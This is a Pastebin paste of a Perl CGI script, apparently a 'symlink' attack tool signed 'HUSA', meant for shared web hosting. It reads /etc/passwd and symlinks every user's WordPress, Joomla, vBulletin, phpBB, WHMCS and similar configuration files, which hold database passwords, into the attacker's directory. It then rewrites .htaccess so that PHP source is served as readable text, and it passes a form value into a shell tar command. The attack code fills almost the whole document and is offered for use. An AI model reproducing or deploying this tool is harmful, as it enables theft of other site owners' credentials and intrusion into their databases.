daily pastebin goal
92%
SHARE
TWEET

leakead-con.cpc

PELITABANGSA Dec 7th, 2017 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. #!/usr/bin/perl -I/usr/local/bandmin
  3. ###############################################  
  4. #   #      #  #      #  #######       #       #
  5. #   #      #  #      #  #            # #      #
  6. #   #      #  #      #  #           #   #     #
  7. #   #      #  #      #  #          #     #    #
  8. #   #      #  #      #  #         #       #   #
  9. #   ########  #      #  #######   #       #   #
  10. #   #      #  #      #        #   #       #   #
  11. #   #      #  #      #        #   #########   #
  12. #   #      #  #      #        #   #       #   #
  13. #   #      #  #      #        #   #       #   #
  14. #   #      #  ########  #######   #       #   #
  15. ###############################################
  16. ##############{HusaJawad@Usa.Com}##############
  17.  
  18. print "Content-type: text/html\n\n";
  19. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  20. <html xmlns="http://www.w3.org/1999/xhtml">
  21.  
  22. <head>
  23. <title>HUSA</title>
  24. <style type="text/css">
  25. .newStyle1 {
  26.  background-color: #000000;
  27.  font-family: "Courier New", Courier, monospace;
  28.  font-size: large;
  29.  font-weight: bold;
  30.  color: #FFFFFF;
  31. }
  32. </style>
  33. </head>
  34. ';
  35. $filename = '/etc/passwd';
  36. open(FILE, $filename) or die "Could not read from $filename, program halting.";
  37. while(<FILE>)
  38. {
  39. @lines = <FILE>;
  40. }
  41. close FILE;
  42. sub lil{
  43.     ($user) = @_;
  44. $msr = qx{pwd};
  45. $kola=$msr."/".$user;
  46. $kola=~s/\n//g;
  47. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'~~vBulletin1.txt');
  48. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'~~vBulletin2.txt');
  49. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'~~vBulletin3.txt');
  50. symlink('/home/'.$user.'/public_html/cc/includes/config.php',$kola.'~~vBulletin4.txt');
  51. symlink('/home/'.$user.'/public_html/config.php',$kola.'~~Phpbb1.txt');
  52. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'~~Phpbb2.txt');
  53. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'~~Wordpress1.txt');
  54. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'~~Wordpress2.txt');
  55. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'~~Joomla1.txt');
  56. symlink('/home/'.$user.'/public_html/blog/configuration.php',$kola.'~~Joomla2.txt');
  57. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'~~Joomla3.txt');
  58. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'~~Whm1.txt');
  59. symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'~~Whm2.txt');
  60. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'~~Whm3.txt');
  61. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'~~Whm4.txt');
  62. symlink('/home/'.$user.'/public_html/billings/configuration.php',$kola.'~~Whm5.txt');
  63. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'~~Whm6.txt');
  64. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'~~Whm7.txt');
  65. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'~~Whm8.txt');
  66. symlink('/home/'.$user.'/public_html/order/configuration.php',$kola.'~~Whm9.txt');
  67. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'~~5.txt');
  68. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'~~4.txt');
  69. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'~~invisio.txt');
  70. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'~~7.txt');
  71. symlink('/home/'.$user.'/public_html/connect.php',$kola.'~~8.txt');
  72. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'~~mk-portale1.txt');
  73. symlink('/home/'.$user.'/public_html/include/config.php',$kola.'~~12.txt');
  74. symlink('/home/'.$user.'/public_html/settings.php',$kola.'~~Smf.txt');
  75. symlink('/home/'.$user.'/public_html/includes/functions.php',$kola.'~~phpbb3.txt');
  76. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'~~infinity.txt');
  77. symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$kola.'~~vBulletin1.txt');
  78. symlink('/home1/'.$user.'/public_html/includes/config.php',$kola.'~~vBulletin2.txt');
  79. symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$kola.'~~vBulletin3.txt');
  80. symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$kola.'~~vBulletin4.txt');
  81. symlink('/home1/'.$user.'/public_html/config.php',$kola.'~~Phpbb1.txt');
  82. symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$kola.'~~Phpbb2.txt');
  83. symlink('/home1/'.$user.'/public_html/wp-config.php',$kola.'~~Wordpress1.txt');
  84. symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$kola.'~~Wordpress2.txt');
  85. symlink('/home1/'.$user.'/public_html/configuration.php',$kola.'~~Joomla1.txt');
  86. symlink('/home1/'.$user.'/public_html/blog/configuration.php',$kola.'~~Joomla2.txt');
  87. symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$kola.'~~Joomla3.txt');
  88. symlink('/home1/'.$user.'/public_html/whm/configuration.php',$kola.'~~Whm1.txt');
  89. symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$kola.'~~Whm2.txt');
  90. symlink('/home1/'.$user.'/public_html/support/configuration.php',$kola.'~~Whm3.txt');
  91. symlink('/home1/'.$user.'/public_html/client/configuration.php',$kola.'~~Whm4.txt');
  92. symlink('/home1/'.$user.'/public_html/billings/configuration.php',$kola.'~~Whm5.txt');
  93. symlink('/home1/'.$user.'/public_html/billing/configuration.php',$kola.'~~Whm6.txt');
  94. symlink('/home1/'.$user.'/public_html/clients/configuration.php',$kola.'~~Whm7.txt');
  95. symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$kola.'~~Whm8.txt');
  96. symlink('/home1/'.$user.'/public_html/order/configuration.php',$kola.'~~Whm9.txt');
  97. symlink('/home1/'.$user.'/public_html/admin/conf.php',$kola.'~~5.txt');
  98. symlink('/home1/'.$user.'/public_html/admin/config.php',$kola.'~~4.txt');
  99. symlink('/home1/'.$user.'/public_html/conf_global.php',$kola.'~~invisio.txt');
  100. symlink('/home1/'.$user.'/public_html/include/db.php',$kola.'~~7.txt');
  101. symlink('/home1/'.$user.'/public_html/connect.php',$kola.'~~8.txt');
  102. symlink('/home1/'.$user.'/public_html/mk_conf.php',$kola.'~~mk-portale1.txt');
  103. symlink('/home1/'.$user.'/public_html/include/config.php',$kola.'~~12.txt');
  104. symlink('/home1/'.$user.'/public_html/settings.php',$kola.'~~Smf.txt');
  105. symlink('/home1/'.$user.'/public_html/includes/functions.php',$kola.'~~phpbb3.txt');
  106. symlink('/home1/'.$user.'/public_html/include/db.php',$kola.'~~infinity.txt');
  107. symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$kola.'~~vBulletin1.txt');
  108. symlink('/home2/'.$user.'/public_html/includes/config.php',$kola.'~~vBulletin2.txt');
  109. symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.'~~vBulletin3.txt');
  110. symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$kola.'~~vBulletin4.txt');
  111. symlink('/home2/'.$user.'/public_html/config.php',$kola.'~~Phpbb1.txt');
  112. symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.'~~Phpbb2.txt');
  113. symlink('/home2/'.$user.'/public_html/wp-config.php',$kola.'~~Wordpress1.txt');
  114. symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$kola.'~~Wordpress2.txt');
  115. symlink('/home2/'.$user.'/public_html/configuration.php',$kola.'~~Joomla1.txt');
  116. symlink('/home2/'.$user.'/public_html/blog/configuration.php',$kola.'~~Joomla2.txt');
  117. symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$kola.'~~Joomla3.txt');
  118. symlink('/home2/'.$user.'/public_html/whm/configuration.php',$kola.'~~Whm1.txt');
  119. symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$kola.'~~Whm2.txt');
  120. symlink('/home2/'.$user.'/public_html/support/configuration.php',$kola.'~~Whm3.txt');
  121. symlink('/home2/'.$user.'/public_html/client/configuration.php',$kola.'~~Whm4.txt');
  122. symlink('/home2/'.$user.'/public_html/billings/configuration.php',$kola.'~~Whm5.txt');
  123. symlink('/home2/'.$user.'/public_html/billing/configuration.php',$kola.'~~Whm6.txt');
  124. symlink('/home2/'.$user.'/public_html/clients/configuration.php',$kola.'~~Whm7.txt');
  125. symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$kola.'~~Whm8.txt');
  126. symlink('/home2/'.$user.'/public_html/order/configuration.php',$kola.'~~Whm9.txt');
  127. symlink('/home2/'.$user.'/public_html/admin/conf.php',$kola.'~~5.txt');
  128. symlink('/home2/'.$user.'/public_html/admin/config.php',$kola.'~~4.txt');
  129. symlink('/home2/'.$user.'/public_html/conf_global.php',$kola.'~~invisio.txt');
  130. symlink('/home2/'.$user.'/public_html/include/db.php',$kola.'~~7.txt');
  131. symlink('/home2/'.$user.'/public_html/connect.php',$kola.'~~8.txt');
  132. symlink('/home2/'.$user.'/public_html/mk_conf.php',$kola.'~~mk-portale1.txt');
  133. symlink('/home2/'.$user.'/public_html/include/config.php',$kola.'~~12.txt');
  134. symlink('/home2/'.$user.'/public_html/settings.php',$kola.'~~Smf.txt');
  135. symlink('/home2/'.$user.'/public_html/includes/functions.php',$kola.'~~phpbb3.txt');
  136. symlink('/home2/'.$user.'/public_html/include/db.php',$kola.'~~infinity.txt');
  137. symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$kola.'~~vBulletin1.txt');
  138. symlink('/home3/'.$user.'/public_html/includes/config.php',$kola.'~~vBulletin2.txt');
  139. symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.'~~vBulletin3.txt');
  140. symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$kola.'~~vBulletin4.txt');
  141. symlink('/home3/'.$user.'/public_html/config.php',$kola.'~~Phpbb1.txt');
  142. symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.'~~Phpbb2.txt');
  143. symlink('/home3/'.$user.'/public_html/wp-config.php',$kola.'~~Wordpress1.txt');
  144. symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$kola.'~~Wordpress2.txt');
  145. symlink('/home3/'.$user.'/public_html/configuration.php',$kola.'~~Joomla1.txt');
  146. symlink('/home3/'.$user.'/public_html/blog/configuration.php',$kola.'~~Joomla2.txt');
  147. symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$kola.'~~Joomla3.txt');
  148. symlink('/home3/'.$user.'/public_html/whm/configuration.php',$kola.'~~Whm1.txt');
  149. symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$kola.'~~Whm2.txt');
  150. symlink('/home3/'.$user.'/public_html/support/configuration.php',$kola.'~~Whm3.txt');
  151. symlink('/home3/'.$user.'/public_html/client/configuration.php',$kola.'~~Whm4.txt');
  152. symlink('/home3/'.$user.'/public_html/billings/configuration.php',$kola.'~~Whm5.txt');
  153. symlink('/home3/'.$user.'/public_html/billing/configuration.php',$kola.'~~Whm6.txt');
  154. symlink('/home3/'.$user.'/public_html/clients/configuration.php',$kola.'~~Whm7.txt');
  155. symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$kola.'~~Whm8.txt');
  156. symlink('/home3/'.$user.'/public_html/order/configuration.php',$kola.'~~Whm9.txt');
  157. symlink('/home3/'.$user.'/public_html/admin/conf.php',$kola.'~~5.txt');
  158. symlink('/home3/'.$user.'/public_html/admin/config.php',$kola.'~~4.txt');
  159. symlink('/home3/'.$user.'/public_html/conf_global.php',$kola.'~~invisio.txt');
  160. symlink('/home3/'.$user.'/public_html/include/db.php',$kola.'~~7.txt');
  161. symlink('/home3/'.$user.'/public_html/connect.php',$kola.'~~8.txt');
  162. symlink('/home3/'.$user.'/public_html/mk_conf.php',$kola.'~~mk-portale1.txt');
  163. symlink('/home3/'.$user.'/public_html/include/config.php',$kola.'~~12.txt');
  164. symlink('/home3/'.$user.'/public_html/settings.php',$kola.'~~Smf.txt');
  165. symlink('/home3/'.$user.'/public_html/includes/functions.php',$kola.'~~phpbb3.txt');
  166. symlink('/home3/'.$user.'/public_html/include/db.php',$kola.'~~infinity.txt');
  167. symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$kola.'~~vBulletin1.txt');
  168. symlink('/home4/'.$user.'/public_html/includes/config.php',$kola.'~~vBulletin2.txt');
  169. symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.'~~vBulletin3.txt');
  170. symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$kola.'~~vBulletin4.txt');
  171. symlink('/home4/'.$user.'/public_html/config.php',$kola.'~~Phpbb1.txt');
  172. symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.'~~Phpbb2.txt');
  173. symlink('/home4/'.$user.'/public_html/wp-config.php',$kola.'~~Wordpress1.txt');
  174. symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$kola.'~~Wordpress2.txt');
  175. symlink('/home4/'.$user.'/public_html/configuration.php',$kola.'~~Joomla1.txt');
  176. symlink('/home4/'.$user.'/public_html/blog/configuration.php',$kola.'~~Joomla2.txt');
  177. symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$kola.'~~Joomla3.txt');
  178. symlink('/home4/'.$user.'/public_html/whm/configuration.php',$kola.'~~Whm1.txt');
  179. symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$kola.'~~Whm2.txt');
  180. symlink('/home4/'.$user.'/public_html/support/configuration.php',$kola.'~~Whm3.txt');
  181. symlink('/home4/'.$user.'/public_html/client/configuration.php',$kola.'~~Whm4.txt');
  182. symlink('/home4/'.$user.'/public_html/billings/configuration.php',$kola.'~~Whm5.txt');
  183. symlink('/home4/'.$user.'/public_html/billing/configuration.php',$kola.'~~Whm6.txt');
  184. symlink('/home4/'.$user.'/public_html/clients/configuration.php',$kola.'~~Whm7.txt');
  185. symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$kola.'~~Whm8.txt');
  186. symlink('/home4/'.$user.'/public_html/order/configuration.php',$kola.'~~Whm9.txt');
  187. symlink('/home4/'.$user.'/public_html/admin/conf.php',$kola.'~~5.txt');
  188. symlink('/home4/'.$user.'/public_html/admin/config.php',$kola.'~~4.txt');
  189. symlink('/home4/'.$user.'/public_html/conf_global.php',$kola.'~~invisio.txt');
  190. symlink('/home4/'.$user.'/public_html/include/db.php',$kola.'~~7.txt');
  191. symlink('/home4/'.$user.'/public_html/connect.php',$kola.'~~8.txt');
  192. symlink('/home4/'.$user.'/public_html/mk_conf.php',$kola.'~~mk-portale1.txt');
  193. symlink('/home4/'.$user.'/public_html/include/config.php',$kola.'~~12.txt');
  194. symlink('/home4/'.$user.'/public_html/settings.php',$kola.'~~Smf.txt');
  195. symlink('/home4/'.$user.'/public_html/includes/functions.php',$kola.'~~phpbb3.txt');
  196. symlink('/home4/'.$user.'/public_html/include/db.php',$kola.'~~infinity.txt');
  197. }
  198. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  199.   read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  200. } else {
  201.   $buffer = $ENV{'QUERY_STRING'};
  202. }
  203. @pairs = split(/&/, $buffer);
  204. foreach $pair (@pairs) {
  205.   ($name, $value) = split(/=/, $pair);
  206.   $name =~ tr/+/ /;
  207.   $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  208.   $value =~ tr/+/ /;
  209.   $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  210.   $FORM{$name} = $value;
  211. }
  212. if (@lines eq ""){
  213. print 'cant read /etc/passwd';
  214. }else{
  215. $y = @lines;
  216. open (MYFILE, ">tar.tmp");
  217. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  218. for ($ka=0;$ka<$y;$ka++){
  219. while(@lines[$ka]  =~ m/(.*?):x:/g){
  220. &lil($1);
  221. print MYFILE $1.".txt ";
  222. for($kd=1;$kd<18;$kd++){
  223. print MYFILE $1.$kd.".txt ";
  224. }
  225. }
  226. }
  227. print'<body class="newStyle1" bgcolor="#000000">
  228. <p>DONE !! > PLEASE WHAIT .</p>
  229. <p></p>
  230. <p>By HUSA ~</p>';
  231. if($FORM{tar} ne ""){
  232. open(INFO, "tar.tmp");
  233. @lines =<INFO> ;
  234. close(INFO);
  235. system(@lines);
  236. print'';
  237. }
  238. }
  239. open (MYFIL1E, '>>.htaccess');
  240. print MYFIL1E '
  241. Options Indexes FollowSymLinks
  242. Options +Indexes
  243. AddType txt .php
  244. AddHandler txt .php
  245. ';
  246. close (MYFIL1E);
  247.  
  248. print "<meta http-equiv='refresh' content='0;url=./'>";
  249.  
  250. print'';
RAW Paste Data
Top